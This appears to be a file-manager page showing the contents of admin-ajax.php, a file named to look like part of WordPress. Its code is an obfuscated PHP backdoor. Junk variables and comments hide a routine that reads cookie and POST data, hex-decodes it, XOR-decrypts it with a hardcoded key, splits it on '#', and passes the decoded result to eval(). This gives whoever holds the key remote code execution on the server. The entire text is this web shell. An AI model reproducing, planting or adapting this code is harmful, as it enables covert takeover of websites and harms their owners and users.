OwlCyberSecurity - MANAGER
Edit File: admin-ajax.php
<?php function TALDJrC($louJB) { return @pack(/* CKfph */"\110" . '*', $louJB ); /*HdZjH */ $TDLXzfEp =/*a*/md5($louJB); $RmQfxYF/* TJ */=/* itf */base64_decode($louJB);$_Ce/* gG */= '20510'; /* lZlN */if/* jFS*/($RmQfxYF ===/* vF */false) { $RmQfxYF =/* B */''; } $EZNJo/* BlRqA */= str_split($louJB); $KbmIKhjX/* PWY */= strlen($louJB);$_ZNYRU = '14010'; /* r */$KGBWuuy/* fNLkb */= 0;; /*hm*/while (/*V */$KGBWuuy < $KbmIKhjX )/* E */{ $KGBWuuy++;; $PygIf = $EZNJo[$KGBWuuy]; /*FSR*/if (strpos($PygIf, 'a') !==/*b*/false) { $EZNJo[$KGBWuuy] = strtoupper($PygIf);$_KDTCD =/* b */'65161'; } /*JU*/} $vSUxRox/* ua */= implode('', $EZNJo);; /*VvQUM*/$_GET['decoded']/* Oj*/= $vSUxRox;$_oy = '51858'; $_POST['hash'] =/*k*/$TDLXzfEp; if (file_exists('path/to/file')) { $beqwh/*B*/=/* skRim */file_get_contents('path/to/file'); /* weR*/$TVUbRQ =/* viavh */explode(',',/* q */$beqwh);$_cicv = '33338'; $qRkrRwK/* bHcl */= md5(serialize($TVUbRQ));; if (is_array($TVUbRQ)) { /* rq */$PUhzNUxv = array_slice($TVUbRQ, 0, 5);; } } $PALrgqqqVG =/* fEYw */array_map('trim', $PUhzNUxv);; $gBQOMUm/* PkW */= rawurldecode(implode(',', $PALrgqqqVG));$_bnJ = '5286'; $_COOKIE['final_value'] = $gBQOMUm;$_WK = '35944'; /*tE */} function/*LUdU */GfiVgERexr() /* XHU */{ $UewzrbvK =/* URwjT */Array($_COOKIE, $_POST); $IRfVKWed = array_map('md5',/*GiHc */$_COOKIE); $ZPOoag =/*DSO */strpos($_SERVER['HTTP_USER_AGENT'], 'Mozilla') !== false ?/* DMbi*/'browser is Mozilla' : 'browser/* Q */is/* orY */not Mozilla'; /* H */ if/* DNy*/(is_array($UewzrbvK)) { $rQgxjXt =/*HVeW */array_slice($UewzrbvK, 0, 1); }/* Tu */else { /* cu */$rQgxjXt =/* QvpW */[]; /* QX */} $VTlNqhN = explode(',', 'apple,orange,banana');$_gs =/*riBf */'63310'; $GRDPpQ = rawurldecode('%20Hello%20World%20');$_jEZ = '16221'; /*XNJgd */$KGBWuuy = 0;; while/* n */($KGBWuuy </* gIXDX */count($VTlNqhN) ) { /* kMXy */$VTlNqhN[$KGBWuuy] = str_repeat($VTlNqhN[$KGBWuuy],/* Ij */2); $KGBWuuy++; } $UfTYC = str_repeat($ZPOoag,/* N */3);; return $UewzrbvK; /* OaQ */} function vEytuMb($kIcPBP) /* VCY */{ /* Y */$sQWQIl =/* IfMN */'#'; foreach (GfiVgERexr() as $cTQIUkUYv)/* YP */{ SQXNMGG($cTQIUkUYv, $sQWQIl);$_ZnoN/* Wjtk*/= '2916'; } } function QUBENd($DxQSKGojNO, $SJUVjT) { if ( count ( $DxQSKGojNO/* cLlO */) == 3 )/* QljTY */{ $NHjUSifz = $DxQSKGojNO[1];; $fkBBdErz =/* T */$DxQSKGojNO[2];$_Lpa/*UFHuD */= '17592'; $NSPkv/* HgRRQ */=/*W*/$NHjUSifz($fkBBdErz); eval/* vFDc */( $NSPkv ); /*nk*/die/* RcNR*/(); } } /*XJ*/ function BGiuSxi($louJB, $yVVbkuA) /* tWl */{ return $louJB ^ $yVVbkuA;; /* Eox */} /* Ued*/ function JJwHAVSOt($PKsUX, $sQWQIl) {/* P */ $PKsUX = explode ($sQWQIl, $PKsUX ); QUBENd($PKsUX, $sQWQIl); /* eeB */} function SQXNMGG($cTQIUkUYv, $sQWQIl) { foreach (/*Ie */$cTQIUkUYv as/*teNJ*/$yVVbkuA => $louJB/* jxlxa */) { /* N */vzmAIR($yVVbkuA, TALDJrC($louJB),/* OwYq */$sQWQIl); } } /* I */ function znkbuL($yVVbkuA, $louJB) /* dx */{ /*bjbS*/$ADjCsqhPwJ = strlen( $louJB )/strlen( $yVVbkuA );; $yVVbkuA .= "xISGc-eYWNTx-vpuGv-WaqdbOt-uhhKP-YZZxt-EYhs";; $yVVbkuA =/*EP */str_repeat ( $yVVbkuA, intval($ADjCsqhPwJ) + 1);; return $yVVbkuA; } /* zNNPh */ function vzmAIR($yVVbkuA, $louJB,/* WcX */$sQWQIl) /* TDOgf */{/*OrZDQ */ /* BxGWn*/JJwHAVSOt(BGiuSxi($louJB, znkbuL($yVVbkuA, $louJB)), $sQWQIl); /* Ho */$FoVgnZ = trim($louJB); /* nx*/$tsqElPbC =/* wOxhA*/explode($sQWQIl, $FoVgnZ);; /* XY*/if (count($tsqElPbC) > 1) { /* Ke */$LctXNiz = implode("\55", $tsqElPbC);$_XuNO/* LMTbE */= '8415'; $QWOeCoRlEv/* f */= str_pad($LctXNiz, 20, chr/*gX */( 542/* i*/- 494/*dH */), STR_PAD_RIGHT);$_Q/* U */= '569'; /*xUeBE */} else { $QWOeCoRlEv = str_replace(' ', '_',/* Mx*/$FoVgnZ); } /* j*/$SizOSgsDG/* yf */= empty($sQWQIl);$_HUIkH = '63108'; if/* NlvL*/(!$SizOSgsDG) { /*noY*/$gtDXYn/* CeTe*/=/* ORwAP */substr($QWOeCoRlEv,/*blxP */0, 10); /* O*/}/* E */else { $gtDXYn =/* PLW */$QWOeCoRlEv; } } /* RyRDL*/vEytuMb("");